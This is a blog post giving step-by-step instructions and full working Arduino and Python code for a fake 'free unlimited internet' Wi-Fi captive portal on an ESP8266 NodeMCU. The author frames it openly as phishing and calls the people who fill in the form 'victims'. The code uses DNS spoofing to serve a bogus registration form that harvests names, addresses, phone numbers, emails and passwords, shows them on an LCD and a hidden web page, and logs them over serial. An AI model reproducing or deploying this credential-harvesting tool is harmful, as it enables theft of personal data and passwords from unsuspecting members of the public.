Tuesday, November 1, 2022

Create a Wifi Captive Portal using a NodeMCU

 A captive portal is the website that pops up every time you  connect to wifi(like in Starbucks or SM Free Wifi Service). In today's post, through my endless research, it came to me that it is possible to create a fake captive portal to collect confidential information for  recons strategy(cyber security it is called phishing ) or on a brighter side it could be repurposed as a survey platform to collect opinions from people about certain topics with full disclosure of course.

This idea just pops into my head but I don't know where to start so I googled the keyword "captive portal nodemcu" and on top of the search result came this github page ESP8266 Captive Portal. It seems that I just got a free lunch from this guy, so I downloaded it immediately and it worked. But I made a few changes to it. The following are the changes I made:

  • Rename the title and added some fields
  • I used a tiny lcd screen to capture the latest victim
  • I created a python program to capture the latest input of the victim via serial communication and with this, the data can be stored to a csv file for further analysis or can be stored to a database.

Sadly I could not take a picture of my setup because I have no decent camera, so if you guys have a kind soul and would want to donate a smartphone, it would be so nice and greatly appreciated. I am just kidding.

To setup the interface between with nodemcu, I used wiring in Figure 1 and download the TFT_Esp library. Sometimes this library requires the Adafruit GFX library so I also downloaded it as well.

The original code used the builtin led of nodemcu to flash to indicate that a new victim took the bait, but for some reason the lcd turns off while led is flashing so I removed it and replaced it by drawing a green circle at bottom of the lcd and blinks each time a new victim took the bait.

Here is the sample screenshot of the captive portal:

I made all fields required and change the input style of the email field from text to email so that at least it will check for valid email format.

All other features remains the same as the original like the web page to display all captured records and the webpage that appears after pressing the "sign In" button.

The code snippets is very simple so I did wrote further explanations how each blocks functions.

Here is the modified arduino code:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
// ESP8266 WiFi Captive Portal
// By 125K (github.com/125K)

// Includes
#include <ESP8266WiFi.h>
#include <DNSServer.h> 
#include <ESP8266WebServer.h>
#include <Adafruit_GFX.h>    // LCD graphical driver
#include <TFT_eSPI.h> // Graphics and font library for ST7735 driver chip
#include <SPI.h>
#define FS_NO_GLOBALS
#include <FS.h>
// User configuration
#define SSID_NAME "Unli Internet"
#define SUBTITLE "Free unlimited internet service."
#define TITLE "Register and Sign in:"
#define BODY "Register to create an account to get free unlimited internet."
#define POST_TITLE "Creating your account and verifying..."
#define POST_BODY "Your account is being validated. Please, wait up to 5 minutes for device connection.</br>Thank you."
#define PASS_TITLE "Credentials"
#define CLEAR_TITLE "Cleared"
#define TFT_BLACK       0x0000      /*   0,   0,   0 */
#define TFT_NAVY        0x000F      /*   0,   0, 128 */
#define TFT_DARKGREEN   0x03E0      /*   0, 128,   0 */
#define TFT_DARKCYAN    0x03EF      /*   0, 128, 128 */
#define TFT_MAROON      0x7800      /* 128,   0,   0 */
#define TFT_PURPLE      0x780F      /* 128,   0, 128 */
#define TFT_OLIVE       0x7BE0      /* 128, 128,   0 */
#define TFT_LIGHTGREY   0xC618      /* 192, 192, 192 */
#define TFT_DARKGREY    0x7BEF      /* 128, 128, 128 */
#define TFT_BLUE        0x001F      /*   0,   0, 255 */
#define TFT_GREEN       0x07E0      /*   0, 255,   0 */
#define TFT_CYAN        0x07FF      /*   0, 255, 255 */
#define TFT_RED         0xF800      /* 255,   0,   0 */
#define TFT_MAGENTA     0xF81F      /* 255,   0, 255 */
#define TFT_YELLOW      0xFFE0      /* 255, 255,   0 */
#define TFT_WHITE       0xFFFF      /* 255, 255, 255 */
#define TFT_ORANGE      0xFDA0      /* 255, 180,   0 */
#define TFT_GREENYELLOW 0xB7E0      /* 180, 255,   0 */
#define TFT_PINK        0xFC9F

TFT_eSPI tft = TFT_eSPI();  // Invoke library, pins defined in User_Setup.h

#define ST7735_DRIVER
#define ST7735_REDTAB
#define TFT_WIDTH  128
#define TFT_HEIGHT 160


// Init System Settings

const byte HTTP_CODE = 200;
const byte DNS_PORT = 53;
const byte TICK_TIMER = 1000;
IPAddress APIP(151, 0, 1, 1); // Gateway
  String fullname="";
  String address="";
  String occupation="";
  String mobile="";
  String email="";
  String password="";
String Credentials="";
unsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0;
DNSServer dnsServer; ESP8266WebServer webServer(80);

String input(String argName) {
  String a=webServer.arg(argName);
  a.replace("<","&lt;");a.replace(">","&gt;");
  a.substring(0,200); return a; }

String footer() { return 
  "</div><div class=q><center><a>&#169; All rights reserved.</a></center></div>";
}

String header(String t) {
  String a = String(SSID_NAME);
  String CSS = "article { background: #f2f2f2; padding: 1.3em; }" 
    "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 14px; line-height: 20px; margin: 0; padding: 0; }"
    "div { padding: 0.5em; }"
    "h3 { margin: 0.5em 0 0 0; padding: 0.5em; }"
    "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; }"
    "label { color: #333; display: block; font-style: italic; font-weight: bold; }"
    "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }"
    "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } "
    "textarea { width: 100%; }";
  String h = "<!DOCTYPE html><html>"
    "<head><title>"+a+" :: "+t+"</title>"
    "<meta name=viewport content=\"width=device-width,initial-scale=1\">"
    "<style>"+CSS+"</style></head>"
    "<body><nav><b>"+a+"</b> "+SUBTITLE+"</nav><div><h3>"+t+"</h3></div><div>";
  return h; }

String creds() {
  return header(PASS_TITLE) + "<ol>" + Credentials + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer();
}

String index() {
  return header(TITLE) + "<div>" + BODY +  "</ol></div><div><form action=/post method=post>" +
    "<b>Full Name:</b> <center><input type=text required name=fullname></input></center>" +
    "<b>Address:</b> <center><input type=text required name=address></input></center>" +
    "<b>Mobile Number:</b> <center><input type=text required name=mobile></input></center>" +
    "<b>Occupation:</b> <center><input type=text required name=occupation></input></center>" +
    "<b>Email:</b> <center><input type=email autocomplete=email required name=email></input></center>" +
    "<b>Password:</b> <center><input type=password required name=password></input><input type=submit value=\"Sign in\"></form></center>" + footer();
}

String posted() {
   fullname=input("fullname");
   address=input("address");
   occupation=input("occupation");
   mobile=input("mobile");
   email=input("email");
   password=input("password");
  Credentials="<li>Name: <b>" + fullname + "</b></br>Address: <b>" + address + "</b></br>Occupation: <b>" + occupation + "</b></br>Mobile No: <b>" + mobile + "</b></br>Email: <b>" + email + "</b></br>Password: <b>" + password + "</b></li>" + Credentials;
  return header(POST_TITLE) + POST_BODY + footer();
}

String clear() {
  String fullname="<p></p>";
  String address="<p></p>";
  String occupation="<p></p>";
  String mobile="<p></p>";
  String email="<p></p>";
  String password="<p></p>";
  Credentials="<p></p>";
  return header(CLEAR_TITLE) + "<div><p>The credentials list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer();
}

void BLINK() { // The internal LED will blink 5 times when a password is received.
  if(email!=""){
  int count = 0;
  //Serial.println(F("Somebody registered"));
  //Serial.println(Credentials);

  while(count < 5){
//    digitalWrite(BUILTIN_LED, LOW);
    //tft.drawCircle(115, 145, 10,TFT_WHITE);
    tft.fillCircle(113, 145, 9, TFT_RED);
    delay(400);
//    digitalWrite(BUILTIN_LED, HIGH);
   tft.fillCircle(113, 145, 9, TFT_DARKGREEN);
    delay(400);
    
    count = count + 1;
  }
  SCR_HEADER();
  tft.setCursor(9,32);  
  tft.println(fullname);
  Serial.println(fullname);
  tft.setCursor(9,46);
  tft.println(address);
  Serial.println(address);
  tft.setCursor(9,60);
  tft.println(mobile);
  Serial.println(mobile);
  tft.setCursor(9,74);
  tft.println(occupation);
  Serial.println(occupation);
  tft.setCursor(9,88);
  tft.println(email);
  Serial.println(email);
  tft.setCursor(9,102);
  tft.println(password);
  Serial.println(password);
}}

void SCR_HEADER() {
  tft.fillScreen(TFT_LIGHTGREY);
  tft.drawRoundRect(2, 2, 125, 26, 5, TFT_RED);
  tft.fillRoundRect(4, 4, 121, 22, 4, TFT_BLUE);
  tft.setTextColor(TFT_WHITE);
  tft.setTextSize(1);
  tft.setCursor(9,11);
  tft.drawString(PASS_TITLE, 9, 7, 2);  
  tft.drawCircle(113, 145, 10,TFT_WHITE);
  tft.fillCircle(113, 145, 9, TFT_DARKGREEN);
}



void setup() {
  bootTime = lastActivity = millis();
  WiFi.mode(WIFI_AP);
  WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));
  WiFi.softAP(SSID_NAME);
  dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only HTTP)
  webServer.on("/post",[]() { webServer.send(HTTP_CODE, "text/html", posted()); BLINK(); });
  webServer.on("/creds",[]() { webServer.send(HTTP_CODE, "text/html", creds()); });
  webServer.on("/clear",[]() { webServer.send(HTTP_CODE, "text/html", clear()); });
  webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, "text/html", index()); });
  webServer.begin();
  pinMode(BUILTIN_LED, OUTPUT);
  digitalWrite(BUILTIN_LED, HIGH);
  Serial.begin(9600);
   tft.init();
  tft.setRotation(0);  // portrait
  tft.fillScreen(TFT_LIGHTGREY);
  SCR_HEADER();
 
}


void loop() { 
  if ((millis()-lastTick)>TICK_TIMER) {lastTick=millis();} 
dnsServer.processNextRequest(); webServer.handleClient(); }

Here is the Python code:

1
2
3
4
5
6
7
import serial
ser = serial.Serial('com4', baudrate=9600, timeout=1)
ser.open
while 1:
    arduinodata = ser.readline().decode('ascii')
    if arduinodata != '':
       print(arduinodata)

No comments:

Post a Comment